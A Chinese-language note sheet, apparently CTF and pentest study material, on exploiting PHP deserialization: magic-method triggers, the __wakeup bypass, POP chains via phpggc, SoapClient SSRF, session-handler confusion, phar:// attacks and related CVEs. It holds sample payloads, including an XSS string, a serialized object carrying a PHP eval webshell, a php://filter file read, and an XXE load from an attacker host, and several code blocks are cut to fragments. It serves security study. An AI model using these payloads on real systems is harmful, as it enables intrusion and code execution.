PHP Deserialization
1.PHP Serialization Basic
1 | a - array |
- public变量: 直接变量名
- private变量: \x00 + 类名 + \x00 + 变量名
- protected变量: \x00 + * + \x00 + 变量名
有些类不一定能够进行(反)序列化(V5.3+)
如SimpleXMLElement
1 | #PHP/ext/simplexml/simplexml.c |
利用思路
不同的魔术方法决定了不同的利用方式,通常是在某一个传入payload的类反序列化后调用了能触发其魔法方法的函数(通常是开发者意料之外的),除了__wakeup/__destruct
在类被反序列化之后”肯定”会被执行(绕过__wakeup
的方法见下),其他的都有触发方式,网上总结的很多了
1 | __wakeup/__destruct 反序列化时直接执行 |
2.Technique
2.1 绕过__wakeup方法
PHP5 < 5.6.25
PHP7 < 7.0.10
https://bugs.php.net/bug.php?id=72663
CVE-2016-7124 当成员属性数目大于实际数目时可绕过
2.2 __toString方法的利用方式
2.2.1 触发方式
与phar文件触发反序列化的方法相似,都有和文件操作有关的函数
1 | echo |
2.2.2 实现XSS可利用的类:
1 | Exception::__toString |
1 | //$a = new Error("<script>alert(1)</script>"); (PHP 7+) |
2.3 Composer中的框架
phpggc可以用来构造payload
1 | php phpggc -l |
2.3.1 存在反序列化漏洞的包
- cartalyst/sentry(5.3+)
- cartalyst/sentinel(5.4+)
2.3.2 一些可以构造POP chain的包
Arbitrary Write:
monolog/monolog (<1.11.0)
guzzlehttp/guzzle(6.0.0 <= 6.3.2)
2018 鹏程杯 Babyt2
Arbitrary Delete:
- swiftmailer/swiftmailer
2.4 SoapClient造成SSRF
extension=php_soap
SoapClient在非wsdl模式下反序列化可以发起请求造成SSRF+CRLF,在后来的版本中反序列化不能直接发起链接,不过可以直接调用一个不存在的类方法(因为底层调用了__call方法),方法会发到Header的SOAPAction内容为<uri>#<调用的方法名>
user-agent头还可以有CRLF,从而可以修改Content-Type为multipart/form-data等来传POST参数,详见demo
N1CTF easy_harder_php
Deserialzation+CRLF+SSRF
1 | <?php |
2.5 PHP Session反序列化
配置:session.serialize_handler = [php] | php_serialize
用默认的 php 存储时,会以
|
作为 key 和 value 的分隔符采用php_serialize 的话,会直接将 session 存储为为序列化的数组
如果 serialize_handler 在写入和取出时不一样,则有可能会产生漏洞,以 php_serialize 方式存储如下的session变量
1 | session_start(array('serialize_handler' => 'php_serialize')); |
但是我们在进行读取的时候,如果选择的是php,那么最后读取的内容是:
1 | session_start(array('serialize_handler' => 'php')); |
可见此时,文件中的|
符号被当成了在php默认解析下的区分 session 的key和value的分隔符,那么
-
先计算 str_shuffle 函数的返回值,构造 SKCTF 类到 session 里,
1
O:5:"SKCTF":1:{s:7:"content";s:20:"<?php eval['vin'];?>";}
HCTF2018 Bestphp
2.6 phar文件反序列化
这个漏洞的出现改变了反序列化漏洞传统的利用方式,不需要unserialize(),只需要uri访问phar文件即可,极大的增大了攻击面(什么时候像Orange翻翻PHP源码肯定大有裨益)
2.6.1 利用条件
- phar文件要能够上传到服务器端。
- 要有可用的魔术方法作为“跳板”。
- 文件操作函数的参数可控,且 phar:// 等特殊字符没有被过滤
使用phar://协议读取文件的时候,文件内容会被解析成phar对象,然后phar对象内的Metadata信息会被反序列化
会造成phar对象实例化的文件操作:
Phar与Stream Wrapper造成PHP RCE的深入挖掘
主要是要找出发php_stream_open_wrapper的函数
1 | fileatime / filectime / filemtime |
2.6.2 Bypass Waf
- php伪协议不区分大小写
1 | readfile("PHP://FILTER/convert.BASE64-ENCODE/resource=/etc/hostname"); |
compress.zlib://等其他协议
1
2compress.zlib://phar:///var/www/html
compress.bzip2://phar:///
2.6.3 Example
- hitcon2017
- Typo3(20180609)
- WordPress(20170228)
- Contao TCPDF(20180524)
2.7 __construct
任意对象实例化
就相当于能自行调用某个已经声明的类, 已经声明的类可以用get_declared_classes()
函数查看
2.7.1 ReflectionClass 来调用自定义的类
1 | function createInstanceFromNamedArguments($className, $arguments){ |
2.7.2 SimpleXMLElement实现XXE
1 | SimpleXMLElement("http://<vps/xxe.xml>", LIBXML_NONE, true) |
- SUCTF2018 WEB homework
3. Examples
CVE-2015-8562: Joomla Remote Code Execution
CVE-2015-7808: vBulletin 5 Unserialize Code Execution
CVE-2015-2171: Slim Framework PHP Object Injection
CVE-2016-7124
CVE-2017-6920 Drupal Yaml反序列化漏洞
Typecho反序列化
1
install.php--->Db->__toString------>Feed->__get---->_applyFilter
MWR Labs
Laravel -> Cookie Forgery -> Decryption -> RCE